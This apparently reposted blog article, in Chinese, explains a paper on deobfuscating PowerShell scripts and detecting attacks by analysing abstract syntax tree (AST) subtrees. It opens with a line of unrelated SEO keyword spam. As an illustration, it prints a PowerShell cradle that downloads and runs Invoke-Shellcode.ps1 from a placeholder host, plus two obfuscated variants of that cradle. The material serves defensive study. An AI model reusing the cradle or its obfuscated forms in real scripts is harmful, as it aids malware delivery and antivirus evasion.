深圳专业做网站公司,wordpress怎么更改栏目权限,营销型网站如何策划,wordpress商城主题开发开篇
今天我们继续来解读安全行业优秀论文#xff0c;通过学习他人的智慧成果#xff0c;可以不断丰富我们的安全视野#xff0c;使用它山之石来破解自身的难题。
这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for…开篇
今天我们继续来解读安全行业优秀论文通过学习他人的智慧成果可以不断丰富我们的安全视野使用它山之石来破解自身的难题。
这次要解读的论文为《Effective and Light-Weight Deobfuscation and Semantic-Aware Attack Detection for PowerShell Scripts》即《针对PowerShell脚本的有效轻量级去混淆和语义感知攻击检测》作者为浙江大学网络安全博士。其在论文中提出了一个行之有效的对混淆的powershell脚本进行还原的方法读来非常有启发性值得写一篇文章来系统地分析下该方案。更重要的是该还原方案具有通用性不仅适用于混淆powershell脚本的还原对其它语言类型的脚本比如javascript、php、jsp和python等等也一样适用。
本篇文章我们着重讲解论文中的去混淆方案至于其中的语义感知攻击检测不做过多赘述感兴趣的同学可以去阅读下论文原文。
代码混淆
事实上混淆是阻碍反病毒引擎查杀包括Powershell在内的恶意程序的最大元凶同样对混淆后的代码进行检测也非常有挑战性。因为本篇解读的论文针对的是powershell的混淆样本所以我们也使用powershell来进行举例。
比如下面是一段典型的从外部网址下载powershell恶意代码并执行的脚本
Invoke-Expression (New-Object Net.WebClient).DownloadString(https://xxx/Invoke-Shellcode.ps1);这段代码会首先建立一个Web客户端然后向指定的url下载脚本文件并执行是一个典型的恶意行为。这里的恶意特征还是非常明显的大部分的防病毒引擎都能够识别其中的特征并成功检测
Invoke-Expression动态执行powershell代码的cmdletNet.WebClient.net中的网络客户端类.DownloadString()下载方法“Invoke-Shellcode.ps1”待下载的恶意脚本
下面我们使用知名的powershell代码混淆工具Invoke-Obfuscation来对这段代码进行混淆使用Invoke-Obfuscation的TOKEN/ALL混淆方式进行混淆后的结果如下
({1}{2}{3}{0}-f n,Invoke-Expre,s,sio) (.({0}{1}{2} -f New-,O,bject) ({2}{3}{1}{0}-flient,C,Ne,t.Web)).({1}{0}{2} -fownload,D,String).Invoke(({0}{7}{6}{3}{2}{5}{1}{4}-f https://xxx,e.p,llc,he,s1,od,Invoke-S,/));.({1}{0}{3}{4}{2}{5}-f ke-,Invo,i,E,xpress,on) (({0}{1}{3}{2}-fNe,w,t,-Objec) ({3}{1}{2}{0} -f nt,et.WebCli,e,N)).({1}{0}{2}{3} -f loadStri,Down,n,g).Invoke(({1}{0}{6}{5}{3}{2}{7}{4}-f:,https,-Shell,oke,ode.ps1,/xxx/Inv,/,c));而使用Invoke-Obfuscation的STRING/3混淆方式混淆后的结果如下
((gv *MDR*).nAmE[3,11,2]-JoIn)( ( [RegEx]::mAtChEs(XEI | )93]raHC[,)47]raHC[27]raHC[701]raHC[( eCalPer- 43]raHC[,)94]raHC[58]raHC[221]raHC[( EcaLpERc-);))JHkcJHk,JHk/JHk,JHkvnI/xxx/JHk,JHk1sp.edoJHk,JHkekoJHk,JHkllehS-JHk,JHksptthJHk,JHk:JHkf
-1Uz}4{}7{}2{}3{}5{}6{}0{}1{1Uz((ekovnI.)JHkgJHk,JHknJHk,JHknwoDJHk,JHkirtSdaolJHk f- 1Uz}3{}2{}0{}1{1Uz(.))JHkNJHk,JHkeJHk,JHkilCbeW.teJHk,JHktnJHk f- 1Uz}0{}2{}1{}3{
1Uz( )JHkcejbO-JHk,JHktJHk,JHkwJHk,JHkeNJHkf-1Uz}2{}3{}1{}0{1Uz(( )JHknoJHk,JHksserpxJHk,JHkEJHk,JHkiJHk,JHkovnIJHk,JHk-ekJHk f-1Uz}5{}2{}4{}3{}0{}1{1Uz(.;))JHk/JH
k,JHkS-ekovnIJHk,JHkdoJHk,JHk1sJHk,JHkehJHk,JHkcllJHk,JHkp.eJHk,JHkxxx//:sptthJHk f-1Uz}4{}1{}5{}2{}3{}6{}7{}0{1Uz((ekovnI.)JHkgnirtSJHk,JHkDJHk,JHkdaolnwoJHkf- 1Uz}2{
}0{}1{1Uz(.))JHkbeW.tJHk,JHkeNJHk,JHkCJHk,JHktneilJHkf-1Uz}0{}1{}3{}2{1Uz( )JHktcejbJHk,JHkOJHk,JHk-weNJHk f- 1Uz}2{}1{}0{1Uz(.( )JHkoisJHk,JHksJHk,JHkerpxE-ekovnIJHk,JHknJHk
f-1Uz}0{}3{}2{}1{1Uz((( ,.,riGHTtoLEFT )-JoIN) )可见混淆后的代码的真实意图已经完全被隐藏大部分防病毒引擎对这样的混淆后代码也是无能为力的最多只能检测到这段代码是一段混淆代码至于代码的真实意图则无法发掘。
这就凸显了混淆代码还原的重要意义它能够把混淆后的混乱代码还原到最初的形态或者接近最初形态然后将还原后的代码再交给检测引擎进行检测这样就能极大地提高检出率降低误报率报告出代码的真实意图。
解混淆方案
传统的解混淆方法基本分为三个阶段
检测阶段判断脚本是否被混淆过解混淆阶段使用动态或静态解混淆验证阶段验证解混淆的效果
这类传统方法存在如下问题
粗粒度的混淆检测不能处理局部混淆比如恶意程序只对关键代码部分进行混淆整体代码仍符合为正常代码的特征。此时如果将解混淆逻辑应用到整个脚本上去解混淆导致未混淆代码受到解混淆逻辑的影响那么最终还原出的代码和原始代码会差异过大产生漏报或误报解混淆逻辑需手工某些时候需要大量手工工作无法处理未知混淆鲁棒性较差
事实上混淆了的PowerShell脚本在正式运行时必须动态计算出被混淆隐藏的原始脚本部分以便解释器能够正确地执行它们。以下图的代码为例这些脚本有两部分混淆隐藏的原始脚本部分和解混淆还原算法。
更重要的是这些混淆片段执行后返回的是字符串类型的代码片段。
因此将这些脚本代码片段称为可还原的片段以及AST可还原子树中相应的子树。只要找到了这些可还原的代码片段就可以直接使用代码中自带的还原算法来恢复原始脚本。但是在实践中在可还原的代码片段和脚本的其他部分之间没有明确的边界特别是当脚本在被多层混淆时。
为了解决这个问题论文中提出了一种基于AST子树的方法它首先定位可还原的代码片段然后通过动态执行可还原的代码片段得到执行结果即原始代码片段然后根据原始代码片段来重建原始脚本。
该还原方案的整体流程如下所示
该方案的核心框架包括五个步骤
提取AST子树基于子树的混淆检测基于模拟器的解混淆更新AST后处理
接下来我们一个一个步骤来分析。
提取AST子树
首先该方案首先会把混淆后的代码编译为AST抽象语法树可以使用微软官方程序集System.Management.Automation.dll中的System.Management.Automation.Language.Parser.ParseInput方法来生成指定代码的AST。其它脚本语言也可以找到类似的工具来生成对应的AST。
PowerShell的AST共有71种节点类型如PipelineAst、CommandAst、CommandExpressionAst等ParseInput方法返回一个根节点类型为ScriptBlockAst的AST。一个大小为几千字节的脚本生成的AST中可以有数千个节点意味着有数千个子树这就使得检查所有子树变得非常耗时。
幸运的是powershell中只有两种方法可以将还原后的代码片段传递到上层节点要么直接通过管道要么间接通过变量。因此只需要检查这两种类型的子树根节点为PipelineAst类型的子树或AssignmentStatementAst节点下的第二个子树因此称这两种类型的子树为可疑的子树。如下图所示红色块表示PipelineAst节点蓝色块表示AssignmentStatementAst节点。根据这个论断需要检查的子树的数量将显著减少然后以宽度优先的方式遍历AST将可疑的子树推到堆栈中以便进行后续步骤的操作。
基于子树的混淆检测
对于已经压入栈中的可疑的子树论文中采取了一个二元分类器来筛选出真正被混淆的子树。作者选取了四类特征来综合判断包括
脚本片段的熵值 熵表示字符频率的统计特征。有两个会严重影响熵值的流行的混淆技术技术变量和函数名的随机化以及编码。熵的计算公式如下 其中Pi代表第i个字符在所有文本中出现的频率。token的长度 几乎所有类型的混淆技术都会改变token的长度。这些技术包括但不限于编码、字符串拆分和字符串重新排序等等论文中选择token的平均值和最大长度作为特征。AST类型的分布 AST解析器生成的AST中包含71种类型的节点如PipelineAst、ParenExpressionAst、CommandExpressionAst等。在混淆过程中某些节点类型的节点数量通常会发生变化。例如字符串重新排序将添加几个ParenExpressionAst节点和StringConstantExpressAst节点到AST。因此论文计算每个节点类型的节点数并构造一个71维的向量作为一个特征AST的深度 几乎所有的混淆技术对AST的深度和节点总数都有显著的影响。例如对于基于编码的混淆无论原始脚本有多少个节点编码后只剩下大约10个节点其深度小于6个节点。因此论文中也使用AST深度和总节点作为特征。
论文中总共从字符级别、token级别和AST级别三个层次中选取了76个特征并使用逻辑回归与梯度下降算法来执行分类。
基于模拟器的解混淆
在此步骤中通过powershell相关的几个程序集dll设置一个PowerShell执行会话该执行会话可以动态执行指定的powershell代码。通过执行在上一步中检测到的混淆片段如果脚本片段是可恢复的脚本片段则此过程的返回值为已恢复的脚本片段。如果返回值不是字符串则意味着上一步的混淆检测结果错误或者当前的脚本片段不是一个可恢复的片段。
对于这两种情况都将子树标记为非混淆子树然后对栈中的下一个混淆子树进行执行。因为是按照自下而上的顺序执行去解混淆所以总是可以找到一个位于更高级级的可恢复的脚本片段。
更新AST
在从上一步获得执行后的恢复的脚本片段之后需要将其解析为一个新的AST恢复后的子树并更新到原AST。
这个过程有两个主要步骤。首先需要用恢复后的子树替换原AST上对应的子树。相应地应该对其所有祖先的特征进行更新并将恢复后子树中的所有可疑子树推到堆栈中。其次应该更新脚本片段的更改。具体来说将可恢复的原始代码片段和恢复后的代码片段块存储在混淆子树的根节点中然后将更改从底部传递到顶部。最后当没有了混淆子树时可以在根节点处获得去混淆脚本。 后处理
脚本解混淆之后后会得到一个与原始脚本具有相同语义的脚本。但是在语法方面这两个脚本之间仍然存在差异。这些差异主要是由混淆过程引起的。
如上所述通过解混淆过程获得的脚本片段都是字符串。因此为了帮助解释器理解每个字符串的角色混淆过程引入了额外的token。例如在脚本片段 (‘DownloadFile’).Invoke($url)中Invoke函数调用告诉解释器DownloadFile应该被视为一个成员方法而$url是该方法的参数而混淆会添加额外的圆括号。
在后处理步骤中这些由混淆过程引入的语法级变化可以用正则表达式定位并相应地去修复。
总结
在混淆样本大行其道的当下反混淆系统的存在意义非常重大它一方面可以帮助检测系统更有效的检测恶意样本同时也能够辅助检测系统给出更符合原始脚本语义的恶意解释。传统的一些反混淆方式大部分都是纯静态还原通过正则表达式在混淆样本上做一系列的模式匹配因此适用范围非常有限。
该论文提出的混淆代码的解混淆方案十分新颖和通用对于基于字符串的混淆方式有非常不错的还原效果因为采用了基于解释器的动态执行因此泛化能力很强。同时该方案又具有通用性可以也应用到其它脚本语言上。
论文链接https://www.researchgate.net/publication/335927735_Effective_and_Light-Weight_Deobfuscation_and_Semantic-Aware_Attack_Detection_for_PowerShell_Scripts
